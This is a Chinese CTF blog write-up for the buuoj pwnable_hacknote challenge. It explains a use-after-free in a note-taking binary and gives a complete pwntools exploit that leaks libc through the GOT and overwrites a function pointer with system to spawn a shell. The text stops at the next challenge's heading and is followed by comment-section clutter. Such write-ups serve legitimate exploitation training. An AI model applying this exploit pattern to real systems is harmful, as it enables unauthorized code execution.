buuoj Pwn writeup 81-85

本文讲述了81pwnable_hacknote中的内存溢出利用技巧,包括UAF(未初始化的内存使用)和通过任意写入实现地址泄露与系统调用,以及actf_2019_babystack中的信号处理与栈溢出攻击。后续的83hitcon2014_stkof和84ciscn_2019_es_1涉及堆溢出、got表劫持与doublefree。85cmcc_pwnme2展示了如何通过栈溢出和字符串替换获取flag。

81 pwnable_hacknote

保护

在这里插入图片描述
菜单堆
在这里插入图片描述add

在这里插入图片描述
申请好的结构是下面这样的。
在这里插入图片描述
delete

在这里插入图片描述没有清理干净,uaf。

print

在这里插入图片描述直接调用那个puts函数,那直接想到如果把它改成system,content里面改成’/bin/sh’,这不就好了嘛?

先申请一个0x8的,再申请0x100的,再全部释放掉,就会导致fastbin里面会有三个chunk,再申请0x8,就可以对chunk0的第一层chunk进行任意写。

因为uaf,导致我们还是能使用print函数,但是print的那个chunk被清空了,我们就利用刚刚的任意写,给它写进去,然后做到泄露地址。

释放掉申请回来再次任意写,system,参数,都写进去,要注意,这个时候system的参数就是第一层chunk,而不是chunk里面的第二个指针了,所以下面用到了’||sh’。

# -*- coding: utf-8 -*-
from pwn import*

r=remote('node3.buuoj.cn',27080)
#r = process('./81')
elf=ELF('./81')

libc = ELF('./32/libc-2.23.so')
#libc = ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.23-0ubuntu11.2_i386/libc.so.6')

context.log_level = "debug"
    
def add(size, content):
    r.sendlineafter("Your choice :", "1")
    r.sendlineafter("Note size :", str(size))
    r.sendlineafter("Content :", content)

def delete(index):
    r.sendlineafter("Your choice :", "2")
    r.sendlineafter("Index :", str(index))

def show(index):
    r.sendlineafter("Your choice :", "3")
    r.sendlineafter("Index :", str(index))

puts_got = elf.got['puts']
putss = 0x804862b

add(0x8, '/bin/sh\x00') #0
add(0x100, 'bbbb') #1
add(0x10, 'cccc') #2 防合并

delete(0)
delete(1)

payload = p32(putss) + p32(puts_got)
add(0x8, payload) #3
show(0)
#chunk里面的内容free掉了,再写回来
#gdb.attach(r)

puts_addr = u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

print hex(libc_base)

delete(3)
payload = p32(system_addr) + '||sh'
add(0x8, payload) 
#释放掉重新申请重新写一下

#gdb.attach(r)

show(0)
#get shell
r.interactive()

82 ac

评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值